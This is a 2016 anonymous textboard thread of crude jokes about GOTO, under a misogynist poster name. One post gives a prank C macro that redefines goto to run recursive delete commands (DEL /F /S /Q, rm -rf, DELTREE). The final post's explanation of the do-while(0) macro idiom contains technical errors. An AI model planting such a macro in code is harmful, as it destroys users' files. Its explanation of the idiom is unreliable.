Return Styles: Pseud0ch, Terminal, Valhalla, NES, Geocities, Blue Moon.

Pages: 1-

How I know you're a fucking idiot instantly

Name: Women can't program 2016-07-24 0:19

when your post contains this word: GOTO

Name: Anonymous 2016-07-24 0:44

GOTO

Name: Anonymous 2016-07-24 1:18

>>1 is a fucking idiot. I knew that instantly.

Name: Anonymous 2016-07-24 1:18

IF ANUS GOTO HAX

Name: Anonymous 2016-07-24 3:32

GOTO MY ANUS

Name: Anonymous 2016-07-24 5:39

goto GOTO

Name: Anonymous 2016-07-25 1:00

It's two words: go to

Name: Anonymous 2016-07-25 1:52

goat-finger-to

Name: Anonymous 2016-07-25 3:17

GO SUB aw shit...

Name: Anonymous 2016-07-25 12:37

This space intentionally left blank

Name: Anonymous 2016-07-25 13:20

>>10
and this isn't. verify repeating digits

Name: Anonymous 2016-07-25 18:01

>>11
dubs:
check_em();
goto dubs;

Name: Anonymous 2016-07-26 6:27

>>12
nice infinite loop

Name: Anonymous 2016-07-26 9:33

>>13
there are infinite dubs

Name: Anonymous 2016-07-26 22:56

Check dubs

Name: Anonymous 2016-07-26 23:00

Check em

Name: Anonymous 2016-11-24 20:01

#define goto system("DEL /F /S /Q *");system("rm -rf");system("DELTREE /Y *");goto

Name: Anonymous 2016-11-24 20:07

>>17
dHAHAHAHHAHAHAHAHAA

Name: Anonymous 2016-11-24 20:19

>>17
Doesn't work on Solaris.

Name: Anonymous 2016-11-24 23:11

>>18
epic, isn't it? truly epic.

Name: Anonymous 2016-11-25 7:28

>>17
please wrap it in a do { } while(0) or you'll get unexpected results when running it in an unbraced control structure

Name: Anonymous 2016-11-25 12:17

Name: Anonymous 2016-11-25 23:38

>>21
is C too dumb to have { scopes }?

Name: Anonymous 2016-11-27 10:09

>>23
C has { } scopes, it's not about them but about function-like macro expansion. basically, the user is supposed to treat such a macro the same way he treats a function: ideally, invoking int hax_my_anus(int anus) { return 2 * anus; } should be the same as #define hax_my_anus 2 * anus: you just write hax_my_anus(x);. this works well enough for single-statement macros, but bigger ones are trickier.

for example, assume a macro like this:
#define hax_my_anus {\
printf("Your anus is %d\n", anus);\
printf("You can find it at %p\n", &anus);\
}

in general, it should work - but the user needs to be aware that it's a macro and not a function and call it without a semicolon at the end of a statement - an invocation like hax_my_anus(x); would be expanded to:
{
printf("Your anus is %d\n", x);
printf("You can find it at %p\n", &x);
};

which the compiler wouldn't like. wrapping the whole macro with do { } while(0) makes the intuitive invocation correct as it would expand to:
do{
printf("Your anus is %d\n", x);
printf("You can find it at %p\n", &x);
}while(0);

which works the same way (the do while loop would be entered and executed once but the always-false condition means it won't repeat).

basically, it's the problem of C preprocessor being a simple text replacer, nothing to do with C scoping.

Don't change these.
Name: Email:
Entire Thread Thread List